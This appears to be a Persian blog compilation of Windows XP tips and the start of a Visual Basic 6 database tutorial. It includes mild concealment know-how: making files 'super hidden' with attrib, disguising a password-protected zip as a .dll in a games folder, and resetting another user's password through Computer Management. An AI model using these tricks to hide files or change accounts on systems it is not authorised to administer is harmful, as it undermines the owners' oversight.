شما می توانید جهت دور کردن کاربر از گزینه های خاص در Control Panel اقدام به مخفی کردن گزینه های خاص بکنید و یا اگر قصد مخفی کردن اغلب کنترلها را دارید می توانید از گزینه دیگری استفاده کنید که به شما اجازه می دهد به فقط گزینه هایی که مایلید را نمایش دهد:

1- مراحل 1 و 2 حالت قبل را دنبال کنید.

2- بر روی Hide Specified Control Panel Applets دو بار کلیک کنید و Enable را انتخاب کنید.

3- بر روی Show کلید کنید و در پنجره جدید دکمه Add را بزنید.

4- حالا در پنجره جدید نام کنترل مورد نظر خود را بنویسید. نامی که وارد میکنید باید عیناً نام کنترل مورد نظر در Control Panel باشد. در این مثال ما قصد داریم کنترل System را که کاربر در صورت دسترسی به آن میتواند بسیاری از تنظیمات حساس سیستم را تغییر دهد از دید خارج کنیم لذا بنویسید system و همه پنجره ها را OK کنید.

حالا در صورت مراجعه به Control Panel دیگر System را در آن نمی بینید. به یاد داشته باشید که فقط قادر به دیدن آن نیستید و این به معنی محدود کردن دسترسی به این کنترل نیست و یک کاربر حرفه ای میتواند هنوز با نوشتن sysdm.cpl در خط فرمان آن را فرا بخواند.

--------------------------------------

تبدیل سیستم فایل از FAT به NTFS با حفظ اطّلاعات
برای تبدیل سیستم فایل ازFAT (File Allocation Table = جدول تخصیص فایل) به NTFS (New Technology File System = سیستم فایل با فناوری جدید) نیازی به Format کردن درایو نیست بلکه با یک دستور ساده در داس (Dos) میتونید با قابلیت حفظ اطّلاعات، سیستم فایل رو از FAT به NTFS تبدیل کنید. به شکل کلّی دستور توجّه فرمایید :

Convert [Volume]  /fs:ntfs  [/V]

[Volume] : این یک پارامتر اختیاریه و درایوی که میخوایم سیستم فایل اونو به NTFS تبدیل کنیم رو تعیین میکنه و اگه ذکر نشه درایو جاری که در خط فرمان مشاهده میشه در نظر گرفته میشه.

/fs:ntfs : این پارامتر اجباریه و به معنای File System:NTSF است

[/V] : این پارامتر هم اختیاریه و در صورت استفاده عملیات تبدیل سیستم فایل با نمایش کلیه ی پیام ها و راهنمایی ها انجام میشه.

مثلاً برای تبدیل سیستم فایل درایو C: از FAT به NTFS میتونیم از این دستور استفاده کنیم :  Convert C: /fs:ntfs /V

توجّه : برای تبدیل سیستم فایل از NTFS به FAT حتماً باید درایو رو Format کنید و هیچ راه دیگه ای هم نداره.

------------------------------------

افزایش کارایی سیستم :
افزایش کارایی سیستم عامل چیزی نیست جز، به حداقل رساندن جلوه های نمایشی ویندوز. زمانی که شما در حال استفاده از حداکثر جلوه های نمایشی هستید قسمتی از زمان CPU صرف پردازش این جلوه ها میشه همچنین قسمتی از حافظه RAM هم به این جلوه ها تعلق میگیره که باعث کاهش سرعت سیستم عامل میشه. با به حداقل رساندن این جلوه های نمایشی با افزایش چشم گیره سرعت سیستم عامل (در سیستم های ضعیف) روبرو خواهیم شد. برای اینکار مراحل زیر رو دانبال کنید :

1-       روی My Computer راست کلیک کنید و Properties رو انتخاب کنید.

2-       در پنجره ای که ظاهر میشه (System Properties) برگه Advanced رو انتخاب کنید و در قسمت Performance روی Settings کلیک کنید.

3-       در این پنجره (Performance Option) برگه Visual Effects انتخاب شده وشما در این قسمت با چهار انتخاب روبرو میشید :

·          گزینه اول Let Windows Choose What's best for my computer از شما میخواد تا اجازه بدید که انجام این تنظیمات بر عهده ویندوز باشه.

·          گزینه دوم Adjust for best appearance باعث میشه تا سیستم عامل شما بهترین و بیشترین جلوه نمایشی و داشته باشه. (برای سیستم های سریع)

·          گزینه سوم Adjust for best performance باعث میشه تا تمام جلوه های نمایشی سیستم عامل برداشته بشن و کارایی سیستم شما به حداکثر برسه. (برای سیستم های ضعیف)

·          گزینه چهارم Custom است که به شما اجازه میده خودتون هر جلوه ای رو که دوست دارید علامت بزنید و علامت اونایی رو که نمی خواید رو بردارید.

------------------------------------------------------------

حافظه مجازی :
حافظه مجازی قسمتی از حافظه دیسک سخته که به صورت موقت در اختیار سیستم عامل قرار میگیره. ویندوز از این فضا برای نگهداری داده های موقت خودش استفاده میکنه. مقدار پیش فرض این حافظه که توسط ویندوز تعیین میشه بهترین انتخابه و به ندرت پیش میاد که کسی بخواد اونو تغییر بده. در صورتی که کسی به خاطر کمبود فضای دیسک سخت، میزان حافظه مجازیش رو کاهش بده، مسلماً با افت سرعت سیستم مواجه میشه. همچنین کسی که اونو به حداکثر برسونه باعث میشه فضای بیشتری از دیسک در اختیار سیستم عامل قرار بگیره که مدیریت اون، باز هم موجب کاهش سرعت میشه. در هر صورت انتخاب با شماست. من فقط آموزش میدم و بقیه اش با شماست. برای افزایش یا کاهش حافظه مجازی مراحل زیر و دنبال کنید : 1- روی My Computer راست کلیک کنید و Properties رو انتخاب کنید. 2- در پنجره ای که ظاهر میشه (System Properties) برگه Advanced رو انتخاب کنید و در قسمت Performance روی Settings کلیک کنید. 3- در این پنجره (Performance Option) برگه Advanced رو انتخاب کنید و در قسمت Virtual Memory روی دکمه Change کلیک کنید. 4- در پنجره ظاهر شده (Virtual Memory) در قسمت Paging file size for selected drive روی Custome size کلیک کنید، حالا در کادر جلوی Initial size (MB) فضای دلخواهتون رو بر حسب مگا بایت تعیین کنید و روی دکمه Set کلیک کنید و سپس روی OK کلیک کنید تا تغییرات اعمال بشه.

-----------------------------------------------

ابر مخفی یا Super Hidden
توجّه کنید، ابر مخفی کردن با مخفی کردن تفاوت داره. ویندوز برای محافظت از فایلهای مهم و سیستمی خودش اونا رو ابر مخفی میکنه تا کسی نتونه اونا رو ببینه و به اونا صدمه ای بزنه. فرق فایلهای مخفی با فایلهای ابر مخفی در سیستمی بودن این فایلهاست. به طور کلّی هر فایل مخفی اگر سیستمی بشه به یک فایل ابر مخفی تبدیل میشه.

تو ویندوز این اجازه به کاربر داده نمیشه که بخواد فایل یا پوشه ای رو سیستمی کنه تا به صورت ابر مخفی در بیاد امّا خوشبختانه تو سیستم عامل داس (Dos) میشه این کارو کرد و برای این کار باید از دستور Attrib استفاده کنید. به شکل کلّی این دستور توجّه کنید :

Attrib [+R | -R]  [+A | -A]  [+S | -S]  [+H | -H]  [drive:][path][filename]  [/S  [/D]]

علامت مثبت (+) : دادن خصیصه به فایل یا پوشه (Set).

علامت منفی (-) : گر فتن خصیصه از فایل یا پوشه (Clear).

R : خصیصه فقط خواندنی (Read-only).

A : خصیصه آرشیو (Archive).

S : خصیصه سیستمی (System).

H : خصیصه مخفی (Hidden).

مثلاً دستور Attrib +S +H D:test.txt باعث میشه که فایل test.txt واقع در دایو D: یک فایل سیستمی و مخفی بشه و در نهایت توسط ویندوز به صورت یک فایل ابر مخفی در بیاد.

یا این دستور Attrib –S –H C:MSDOS.sys باعث میشه که فایل MSDOS.sys واقع در درایو C: ، از حالت ابر مخفی خارج بشه یعنی نه سیستمی باشه و نه مخفی.

/S : فرض کنید که قصد دارید تمام پوشه هایی که نامشون test هست و در مسیر F:\test\ در پوشه ها و زیر پوشه های مختلف قرار دارند رو با خصیصه های دلخواهتون تغییر بدید، برای این کار از پارامتر /S استفاده میکنیم. این پارامتر باعث میشه که دستور به تمام زیر پوشه هایی که همنام test هستند اعمال بشه و خصیصه های اونا رو تغییر بده.

 /D : مثلاً این دستور Attrib +R +S +H –A F:\test /S /D کاری که میخواستیم رو انجام میده امّا به انتهای دستور توجّه کنید! پارامتر /D به این معنی است که این دستور فقط روی پوشه ها اعمال بشه و کاری به فایلها نداشته باشه. این پارامتر به تنهایی استفاده نمیشه و فقط زمانی به کار میره که قبلش پارامتر /S اومده باشه.

توجّه : فراموش نکنید که سیستمی کردن به تنهایی باعث ابر مخفی شدن نمیشه و فایل حتماً باید مخفی هم بشه. بطور کلّی فایلهایی با خصیصه های مخفی و سیستمی، ابر مخفی هستند.

خب شما آموختید که چطور میشه یک فایل رو با سیستمی کردن ابر مخفی کرد، امیدوارم که به دردتون بخوره.

------------------------------------------------

یه ترفند جالب برای فایلهای Zip
وستان این ترفندی که میخوام بهتون بگم رو خودم فهمیدم احتمالاً بعضی از شماها (تعداد خیلی کمی) هم این ترفند جالب رو میدونید. خب بزارید اینطوری شروع کنم ... من مدتها قبل یه سری فایل داشتم که (برای من) خیلی محرمانه و مهم بود و من هم به دلایلی مجبور بودم که یه چند روزی کامپیوترم رو به یکی از دوستان حرفه ای (در زمینه کامپیوتر) قرض بدم، امّا من باید با این فایل ها چه کار میکردم تا به دست کسی نیفته ؟ باید اونارو تو CD رایت میکردم ؟ ولی اون فایل ها خیلی زیاد بودن و تو CD جا نمیشدن (حتی تو DVD)! حتماً میگید که باید مخفی میکردمشون... . آخه آدم ساده دارم میگم اون یه حرفه ای بود، خب پیداشون میکرد...! پس باید چه کار میکردم تا به این فایل ها دسترسی پیدا نمیکرد و اصلا بهشون مشکوک هم نمیشد ؟ به نظر شما من باید چه کار میکردم ....؟؟؟؟ من چند راه در پیش رو داشتم : 1- راه اول اینکه اونارو پاک کنم و بعد از اینکه کامپیوترم رو از دوستم پس گرفتم، فایلها رو با ریکاوری برگردونم. خب این راه اصلاً عاقلانه نبود، از کجا معلوم بود که اونم همین کار رو نکنه ؟ یا اینکه تو اون درایو چیزی (اطّلاعات) نریزه و اطّلاعات مهم من از بین نره ؟ پس این راه و بی خیال شدم. 2- راه دوم این بود که اون فایلها رو اَبَرمخفی کنم و به جایی انتقالشون بدم که عقل جن هم نمیرسه. خب این راه کمی قابل قبول تره ولی خالی از اشکال نیست چون همون طور که گفتم دوستم یه حرفه ای بود و میدونست که من این اطّلاعات با ارزش رو تو هاردم دارم پس به محض اینکه کامپیوترم به دستش برسه اول تمام هارد رو ریکاوری میکنه بعدش هم تمام هارد رو Search میکنه. اگه من از این راه استفاده میکردم ته دلم قرص نبود و میترسیدم که اطّلاعات لو بره. پس خود به خود این راه هم کنار رفت. (بعداَ آموزش ابر مخفی کردن رو بهتون میدم) 3- راه سوم این بود که تمام اطّلاعات رو به صورت یک فابل zip. یا .rar در بیارم و روشون کلمه عبور طول و درازی بزارم که نتونه به راحتی قفلش رو بشکنه. امّا چیزی که میگفتم این نیست پس صبر کنید. به نظر شما اگه این کارو میکردم خیالم راحت بود ؟ خب مسلماً یه کپی از اون فایل تهیه میکرد و یه روزی قفلش رو میشکوند. من باید کاری میکردم که اصلا به اون فایلها مشکوک نشه. پس این راه هم زیاد امن نبود. 4- اما راه چهارم از همه بهتره چون امکان اینکه به فایلها مشکوک بشه و بتونه قفلشون رو بشکنه تقریباَ صفر بود. همه ما میدونیم که با عوض کردن پسوند فایل میشه شکل ظاهری فایل رو عوض کرد، مثلاً شما میتونید با عوض کردن پسوند یک فایل عکس (.jpg) اونو بدون از بین رفتن عکس و خراب شدنش به یک فایل .dll یا ocx. یا .pak یا .tns و یا هر چیزه دیگه ای که شما میخواید تبدیل کنید امّا مشکل به همین سادگی حل نمیشد. من تقریبا حدود پانزده هزار فایل با پسوندهای متفاوت داشتم که به خاطر سپردن نام و پسوندشون غیر ممکن بود. پس کاری که من کردم این بود که ابتدا تمام فایلها رو به یک پوشه انتقال دادم و از اونجایی که نمیشد پسوند پوشه رو عوض کنم مجبور شدم اون پوشه رو به صورت zip در بیارم و برای پرونده یک کلمه عبور مطمئن بزارم؛ حالا بهترین کار این بود که پسوند فایل zip شده رو تغییر بدم، من پسوند اون فایل رو به .dll تغییر دادم تا به شکل یک فایل سیستمی در بیاد چون کسی به یک فایل سیستمی شک نمیکنه و اصلاَ بهش اهمیّت نمیده. قدم آخر هم این بود که این فایل نسبتاَ حجیم رو به پوشه بازیهام کپی کنم. چون فایلهای بازی اکثراَ فایلهای .dll و حجیم هستند غیر ممکن بود که کسی به اون شک کنه. من تنها کاری که باید میکردم این بود که نام اون فایل رو به خاطر بسپرم و زمانی که کامپیوترم رو پس گرفتم پسوند فایل رو به حالت اول یعنی .zip برگردونم و فایلها رو از توش استخراج کنم. برای تغییر پسوند فایل باید بتونید پسوند رو ببینید؛ در ویندوز نمیشه پسوند فایلهای شناخته شده رو دید و فقط میشه پسوند بعضی از فایلهای سیستمی مانند .dll و فایلهای ناشناخته رو دید. برای اینکه بتونید پسوند فایلها رو ببینید مراحل زیر رو دنبال کنید : ابتدا وارد Control Panel بشید و روی آیکن Folder Option دابل کلیک کنید، در پنجره ای که ظاهر میشه وارد برگه View بشید و در قسمت Advanced Settings علامت گزینه Hide extensions for known file types رو بردارید و روی Ok کلیک کنید به همین سادگی. حالا شما میتونید پسوند تمام فایلها رو ببینید. من تونستم با این ترفند که خودم کشفش کردم کامپیوترم رو به دوست حرفه ایم بدم و خیالمم از بابت اطّلاعات مهم و خصوصیم راحت باشه. امیدوارم که این ترفند در مواقع ضروری به کمکتون بیاد در ضمن نظر بدید و منم به خاطر این آموزش ها دعا کنید.

----------------------------------------

تغییر نام آیکون های دسکتاپ ( ترفندهای ویـنـدوز )
 

 سلام . توی این مطلب میخوام بهتون یاد بدم که چطوری نام آیکون های دسکتاپ خودتونو عوض کنید .

 

برای این منظور مراحل زیر را مرحله به مرحله طی کنید :

 

ابتدا داخل Run عبارت regedit را وارد نمایید و Enter را فشار دهید .

 

از پنجره ی باز شده از قسمت سمت چپ مسیر زیر رو پیدا کنید :

 

HKEY_CURRENT_USER\Software\Microsoft\Windows\ShellNoRoam\MUICache

 

از قسمت سمت راست دنبال عبارت My Compute و یا My Network Places و یا Recycle Bin و یا My Documents بگردید .

----------------------------------------------------------

مخفی کردن یک فولدر یا فایل به شکلی جدید و حیرت انگیز!

در این ترفند قصد داریم یک روش بسیار جالب و کاربردی را به شما معرفی کنیم که با استفاده از آن میتوانید یک فولدر یا یک فایل را در داخل ویندوز XP به سادگی کاملأ از صحنه روزگار محو کنید به شکلی که کاملأ مخفی و ناپیدا شود. سپس خودتان میتوانید با دانستن نام آن فایل و یا فولدر مجدد و به همان سادگی آن را بازیابی و ظاهر سازید. این ترفند را میتوانید ساده ترین نوع مخفی سازی فایل دانست به نحوی که با استفاده از گزینه های مشاهده فایلهای Hidden و امثالهم هم نمیتوان آن را مشاهده کرد.

برای این کار:

ابتدا از منوی Stat وارد Run شوید. سپس دستور cmd را تایپ نموده و Enter بزنید.
اکنون در داخل CMD کد زیر را وارد کنید و Enter بزنید:
attrib +h +s D:/milad
دقت کنید این کد فولدر milad را در درایو D مخفی میسازد.
به Space های خورده شده در میان کد نیز دقت کنید.
با این عمل فولدر milad کاملأ از روی هارد شما مخفی میشود.

در صورتی که میخواهید یک فایل را نیز مخفی کنید کافی است آدرس را بدین شکل وارد کنید:
attrib +h +s D:/Windows/milad.exe
این کد فایل milad.exe را در داخل درایو D و پوشه Windows مخفی میسازد.

به همین سادگی شما میتوانید عملیات مخفی سازی را انجام دهید.

اما چگونه این فایلهای مخفی کرده را بازگردانیم؟
1-بدین منظور در داخل CMD دستور زیر را وارد کنید تا به ترتیب فایلهای مخفی شده مان آشکار گردند:
attrib -h -s D:/milad
attrib -h -s D:/Windows/milad.exe
حالا چگونه این فایل ها رو بدون اینکه از hidden در بیاوریم  ببینیم ؟
برای این کار آدرس زیر را دنبال کنید:
 
Control panel/folder Option
بعد در صفحه باز شده روی زبانه View کلیک کنید.
بعد در قسمت Advansed Setting تیک کنار گزینه Hide protected Operating System File را بردارید.

تنها دقت کنید که محل و نام فایل مخفی شده تان فراموش تان نشود چرا که دیگر امکان بازیابی آن وجود ندارد.

-----------------------------------------

ایمنی سیستم قبل از Log on


ویندوز 2000/ XP Pro/ ویستا

مشکل: می‌خواهید از همان ابتدا و حتی قبل از Log on کردن سیستم خود را در مقابل دسترسی‌ها ایمن کنید. به شما نشان خواهیم داد که چگونه می‌توان چنین مسئله‌ای را عملی کرد.

مسیر مورد نظر به بانک‌ داده‌ها می‌رسد که ویندوز در آن رمزهای عبور کاربران را ذخیره می‌کند. این بخش به صورت قفل شده در windir%\system32\config%  وجود دارد. کلید مورد نظر برای این قفل هم به صورت استاندارد در همان هارد می‌باشد. البته ویندوز می‌تواند این کلید را بر روی یک دیسکت ذخیره کند و یا ابتدا پس از وارد کردن یک رمز عبور، بانک اطلاعاتی رمز عبور، را باز کند. هر دو مورد باعث این می‌شوند که ویندوز عمل بوت کردن را ناتمام گذاشته و خواستار وارد کردن رمز می‌شود. بدون این رمز هیچ کسی نمی‌تواند خود را Log on کند.

 توجه: اگر دیسکت را از دست داده و یا رمز عبور را فراموش کنید، ویندوز هیچ راهی برای باز کردن قفل بانک داده‌ها با رمزها راندارد.

راه حل: این ایمن سازی اضافه را می توانید توسط Syskey روشن کنید. این ابزار گرچه متعلق به ویندوز می‌باشد اما در منوی استارت خبری از آن نیست. دستیابی به آن توسط گزینه‌های زیر ممکن خواهد بود.

Start->Run->Syskey

توجه داشته باشید که باید به عنوان administrator خود را Log on کرده باشید. پس از ورود به ابزار گزینه Update را کلیک کنید. گزینه‌ای که از خود ویندوز در اینجا به چشم می‌خورد گزینه Store start up key Locally می‌باشد که در این صورت کلید بر روی هارد ذخیره می‌شود.

به جای این کار می‌توانید یک رمز عبور برای System Start مشخص کنید و یا یک کلید ثبت شده به صورت اتوماتیک را بر روی دیسکت ذخیره کنید. عملیات بوت، در این صورت حتی در حالی که دیسکت در درایو هم باشد، قطع می‌شود. از آنجا که Syskey یک ابزار قدیمی می‌باشد، هنوز کامپیوترهایی که درایو دیسکت را نداشته باشند. نمی‌شناسد. متاسفانه این برنامه نمی‌گذارد که از چیزی به جز دیسکت استفاده کرد و پافشاریش بر روی درایو :A می‌باشد. برای اینکه باز هم بتوان از استیک‌های USB، سی‌دی و یا مدیاهای دیگر استفاده کرد باید به آنها حرف درایو :A را بدهید.

----------------------------------------------

فرمانهای بدرد بخور موجود در قسمت RUN

 

حتما شما نیز تا به حال با Run موجود در ویندوز خود سروکار داشته اید. برای استفاده مفید از Run دستورات خاصی وجود دارد که هر یک کار مفیدی را انجام میدهد. به عنوان مثال دستوری که اطلاعات سخت افزاری و هم چنین اطلاعات سیستمی اعم از رم و کارکرد CPU و غیره را به نمایش میگذارد. دانستن این دستورات ویندوزی بهتر و مدیریت آسانتر را برایتان به ارمغان خواهد آورد.


با استفاده از کلیدهای ترکیبی Win+R و یا رفتن به منوی استارت وارد محیط Run شوید.
حال کافی است هر یک از این کدها را در آنجا وارد کنید:

REGEDIT
با تایپ این دستور رجیستری ویندوز باز میشود وبا استفاده از ان متوانید قسمت های مختلف ویندوز را بنا به سلیقه و خواست خود تغییر دهید .متذکر می شویم در رجیستری چیزی را که نمیدانید حذف یا تغییر ندهید .

CMD
با تایپ این دستور محیط سیستم عامل داس روبروی شما ظاهر می شود و می توانید فرمان های خود را برای این سیستم عامل تایپ نمایید.

PERFMON
با تایپ این دستور برنامه سیستم مانیتور اجرا می شود و در آن جزییاتی در مورد فضای اشغال شده از رم و یا مقدار بازدهی سی پی یو و همچنین مقدار اطلاعات خواننده شده از هارد را برای شما به صورت نمودار بیان می نماید.

SYSEDIT
با تایپ این دستور ویرایشگر فایل های سیستمی اجرا می شود و می توانید آنها را ویرایش نمایید .متذکر میشویم در صورت تغییرات اشتباه ممکن است سیستم شما بالا نیاید .

FIREWALL
با تایپ این دستور می توانید دیواره آتش ویندوز خود را فعال ویا غیر فعال کنید . فعال بودن دیواره آتش برای امنیت در شبکه ونیز جلوگیری از ورود هکرها به سیتم شما بسیار موثر است.

Drwtsn32
با تایپ این دستور برنامه دکتر واتسون اجرا می شود این برنامه در گزارش و همچنین عیب یابی مشکلات نرم افزاری بسیار مفید می باشد .

NTBACKUP
با تایپ این دستور برنامه گرفتن نسخه پشتیبان بر روی سیستم شما اجرا شده و می توانید از سیستم خود نسخه پشتیبان تهیه نمایید .

DISKMGMT
با تایپ این دستور برنامه مدیریت دیسک شما اجرا شده و می توانید با استفاده از آن دیسک سخت خود را مدیریت نمایید ویا هر یک از پارتیشن ها را حذف نمایید .

DEVMGMT
با تایپ این دستور میتوانید سخت افزار های نصب شده بر روی سیستم خود را بازبینی نمایید و یا یک از آنها را حذف و یا نصب نمایید .

EDUCEDIT
با تایپ این دستور می توانید یک کاراکتر بسازید و یا یک کاراکتر را ویرایش نما یید.

ُServices
با تایپ این دستور می توانید یکی از سرویس های ویندوز را لغو نمایید یا یک سرویس جدید به آن اضافه نمایید .

MSCONFIG
با تایپ این دستور میتوانید نرم افزارهای را که در هنگام بالا آمدن سیستم بر روی قسمت سیستم ترایی ویندوز قرار می گیرند غیر فعال کنید .ضمنا اگر سیستم شما دیر Shut Down می شود به این قسمت سری بزنید

=------------------------------------

 

عوض کردن پسورد ویندوز

عوض کردن پسورد ویندوز ایکس پی بدون داشتن پسورد!!!
وقتی داخل محیط ویندوز هستید و میخواید پسورد هر یوزری رو عوض کنید باید به این روش عمل کنید :

1- روی my computer راست کلیک کنید .

     2- از بین گزینه ها manage رو انتخاب کنید .

     3- حالا در صفحه باز شده ، سمت چپ ، local user and groups رو انتخاب کنید و یه دوبل کلیک بزنید .

     4- از بین گزینهای پایینش users رو انتخاب کنید .

     5- در سمت راست هر یوزری رو که میخاید انتخاب کنید و روی اون یوزر راست کلیک کنید .

     6- set password  رو انتخاب کنید .

     7- در جواب سوالی که از شما میشه ، دکمه proceed رو بزنید .

     8- در کادر اول پسوردی مورد نظرتون رو تایپ کنید .

     9- در کادر دوم هم همون پسورد بالایی رو بزنید .

    10- در پایان هم ok رو بزنید .

آموزش پایگاهای داده ایی

http://mediavb.persiangig.com/Ansverd/Change%20Pass.zipآشنایی کلی با پایگاه داده


» از آنجا که پایگاه داده اصلی ترین مبحث ویژوال بیسیک است برای همین کار کردن با این بخش نسبت به مباحث دیگر دشوارتر و پیچیده تر بوده و تجربه و خلاقیت بالایی را باید برای کار کردن با این بخش داشته باشیم .


» پایگاه داده : پایگاه داده یا بانک اطلاعاتی محلی است برای نگهداری اطلاعات و داده های گوناگون به صورت یکپارچه ، منظم و مرتب که هر کدام از اطلاعات آن قابل دسترسی و پردازش می باشند .


» انواع برنامه هایی که توانایی ساخت فایلهای پایگاه داده را دارند و ویژوال بیسیک 6 قادر به ایجاد ارتباط با آنها می باشد عبارتند از : Access ، Foxpro ، dbase ، Paradox ، .... که مهمترین آنها برنامه Access از مجموعه برنامه های آفیس است . و کار با آن ساده تر و راحت تر از پایگاه داده های دیگر است . ما نیز از این پایگاه داده استفاده خواهیم کرد .


» برای اینکه ما بتوانیم به اطلاعات و داده های موجود در پایگاه داده توسط ویژوال بیسیک 6 دسترسی داشته باشیم به ابزار هایی برای برقراری ارتباط نیازمندیم . ولی قبل از آن باید با اجزای یک پایگاه داده ساده و نوع داده هایی که در این پایگاه داده تعیین شده اند و ما برای ذخیره کردن اطلاعاتمان باید از آنها استفاده کنیم آشنا شویم :


» اجزای یک پایگاه داده : فایل با پسوند *.mdb ----> جدول ها ----> فیلد ها ----> رکوردها


» جدول ها از مجموعه فیلدهایی با انواع زیر ساخته می شوند :

 

Text 
نوع متنی که طول ظرفیت آن 256 کاراکتر است

Memo 
نوع متنی که طول ظرفیت آن میتواند بیش از 256 کاراکتر باشد.( معمولا ذخیره کردن توضیحات )

Number 
نوع عددی که خود آن به انواع مختلف تقسیم میشود(Integer، LongInt و ...)

Date\Time 
نوعی برای نگهداری داده هایی با فرمت تاریخ و زمان

Currency 
برای نگهداری داده های مالی یا ارزی از این نوع استفاده می شود

Yes\No 
همانند نوع Boolean است که فقط مقدار -1 و 0 را می پذیرد

AutoNumber 
نوعی برای تولید اعداد خودکار و غیر تکراری ( معمولا برای ساخت فیلد کلید )

 

که رکوردها کوچکترین و اساسی ترین جزء مجموعه بانک اطلاعاتی هستند و داده ها را مستقیما درخود نگهداری می کنند .

» برای مثال جدولی برای نگهداری اطلاعات شخصی افراد که می تواند فیلدی برای نگهداری نام ، فیلد دیگری برای نگهداری نام خانوادگی و انواع فیلدهای دیگر برای ذخیره سازی اطلاعات دیگر داشته باشد که با توجه به نوع داده ای که باید در آن ذخیره شود نوع آن تعیین می گردد . مثلا چون نام افراد باید متنی باشد از نوع Text انتخاب خواهد شد .


» برای آشنایی بیشتر شما برنامه Access را باز کنید و پایگاه داده را با نام Test.mdb ذخیره کرده و جدولی با نام Simple بسازید و فیلد های آن را به صورت زیر تنظیم کنید تا با این مبحث و برنامه Access به طور مختصر آشنا شوید . همچنین از این پایگاه داده که می سازید در ادامه استفاده خواهیم کرد :

 

ID 
از نوعAutonumber برای نگهداری شماره مخصوص هر فرد به طور خودکار

Name 
از نوع Text برای نگهداری نام افراد

Family 
از نوع Text برای نگهداری نام خانوادگی

************************************

آشنایی با ابزار مخصوص برقراری ارتباط با پایگاه داده


» همانطور که در درس گذشته ( درس اول ) مشاهده نمودید ، یک آشنایی کلی با مفهوم پایگاه داده پیدا کردیم و با اجزا و انواع داده های موجود در یک پایگاه داده Access آشنا شدیم . حال در این درس می خواهیم با ابزارها و کنترلهایی که امکان ایجاد ارتباط ویژوال بیسیک با بانک اطلاعاتی را برای ما فراهم می کنند آشنا شویم .


» دو ابزار یا کنترلی که امکان ایجاد این ارتباط را به ما می دهند عبارتند از :


1- Data Control : این کنترل که به طور پیشفرض در جعبه ابزار یا Tool Box ویژوال بیسیک وجود دارد یکی از ابزارهای قدرتمند VB در زمینه کار با پایگاه داده است . در واقع این کنترل نماینده پایگاه داده در ویژوال بیسیک است و کارهایی از قبیل مدیریت جداول و اندیکس ها و همچنین ایجاد و حذف جدول و رکورد و جستجو و فیلتر سازی و غیره را به عهده دارد . کارایی این کنترل بسیار گسترده و وسیع است و می تواند بهترین انتخاب برای نوشتن برنامه هایی باشد که قرار است فقط روی یک کامپیوتر به طور مستقل اجرا گردند .

تصویر کنترل :

 

 

2- ADO Objects : این کنترل ابزار دیگری برای ایجاد ارتباط با پایگاه داده است و گستردگی کمتری نسبت به Data Control دارد . از این کنترل معمولا برای ایجاد ارتباط سریع و آسان با پایگاه داده استفاده می شود . همچنین این کنترل توانایی برقراری ارتباط با پایگاه داده واقع در مکانی دیگر با استفاده از سیستم شبکه ای را دارد . ولی این کنترل در جعبه ابزار وجود ندارد و باید به آن اضافه گردد که بعدا خود این کنترل به طور کامل توضیح داده خواهد شد .


تصویر کنترل :

 

 

» برای کار با پایگاه داده فقط ایجاد ارتباط با آن کافی نیست . بلکه ما نیاز داریم که اطلاعات درون جدول ها و رکوردها را مشاهده کنیم و بر روی آنها پردازش انجام دهیم که این کار مستلزم استفاده از ابزارها و کنترل های دیگر است . برای نمونه اگر ما بخواهیم اطلاعات درون یک رکورد که نام یک شخص در آن ذخیره شده است را ببینیم باید آن را توسط یک کنترل که با پیوندی به یکی از کنترل های ایجاد کننده ارتباط با پایگاه داده متصل است به نمایش در آوریم . برای مثال ازکنترل Label استفاده کنیم . حال اگر بخواهیم بر روی این مقدار پردازش هم انجام دهیم باید آن را توسط کنترل Text Box نمایش دهیم چون درون آن را می توانیم ویرایش کنیم.


» برای شروع ما با Data Control کار خواهیم کرد.خصوصیت های مهم شی ء Data Control :

 

Connect 
این خصوصیت مشخص کننده نوع پایگاه داده که قرار است ارتباط با آن برقرار گردد و به طور پیشفرض Access تعیین شده است.

DataBaseName 
این خصوصیت مهمترین خصوصیت کنترل Data به شمار می رود که مسیر و نام پایگاه داده را در خود جای می دهد .

ReadyOnly 
این خاصیت مشخص می کند که آیا پایگاه داده میتواند پردازش شود یا باید هیچ تغییری در آن ثبت نشود . که به طور پیشفرض False یعنی قابل پردازش میباشد .

RecordSetType 
نوع رکوردست کاری را مشخص می کند که در صورت لزوم توضیح داده خواهدشد .

DataSource 
این خصوصیت بعد از تکمیل خصوصیت DataBaseName قابل استفاده است و نام جدول ها و بازجست های ( Query ) موجود در پایگاه داده را به صورت لیست کشویی برای ما نمایش می دهد که ما می توانیم یکی از آنها را انتخاب کنیم .

 


» نکته اساسی : در واقع مهمترین مشکل ویژوال بیسیک 6 در کار با پایگاه داده Access این است که اگر شما از کنترل Data برای برقراری ارتباط استفاده کنید و فرمت پایگاه داده شما بالاتر از Access 97 باشد یعنی ( 2000 ، XP ، 2003 ) با خطایی مبنی بر عدم پشتیبانی یا شناسایی مواجه خواهید شد . یا به عبارتی شما در صورتی میتوانید از کنترل Data برای برقراری ارتباط با پایگاه داده Access استفاده نمایید که فرمت پایگاه داده شما Access 97 یا همان ( Office 97 ) باشد . برای حل این مشکل چند راه حل وجود دارد :


» راه حل 1 : از کنترل ADO یا Adodc به جای Data استفاده کنید که این کار در بیشتر مواقع نمی تواند به صرفه باشد .

» راه حل 2 : فرمت پایگاه داده شما Access 97 باشد یعنی باید از برنامه Access موجود در Office 97 استفاده کنید که در این صورت مجبور خواهید بود با ویندوز 98 کار کنید . چون XP قادر به پشتیبانیAccess 97 نخواهد بود .

» راه حل 3 : این راه حل بهترین راه حل است ، یعنی استفاده از تکه برنامه ای به نام Service Pack 6 که پس از نصب ویژوال بیسیک6 بر روی کامپیوتر نصب میشود و مشکل را رفع می کند . یعنی شما میتوانید پس از نصب این تکه برنامه از هر کدام از فرمت های پایگاه داده Access در کنترل Data استفاده کنید . ظرفیت فشرده شده این برنامه حدود 26 مگابایت است که شما می توانید از سایت Microsoft دانلود کنید . البته با نرم افزار Download Accelerator Plus می توانید به صورت بخش به بخش این برنامه را دانلود نمایید که به نظر من بهترین روش است .


» پس از دانلود این برنامه برای نصب آن فایل Setupsp6.exe را اجرا نمایید.

» توجه داشته باشید که هنگام نصب این برنامه نباید ویژوال بیسیک شما در حالت اجرا باشد.


» انشا ء الله در درس بعدی کار خود را با یک مثال ساده دنبال خواهیم کرد .

********************************************

آشنایی با رکوردست و متدهای مهم آن

 

 

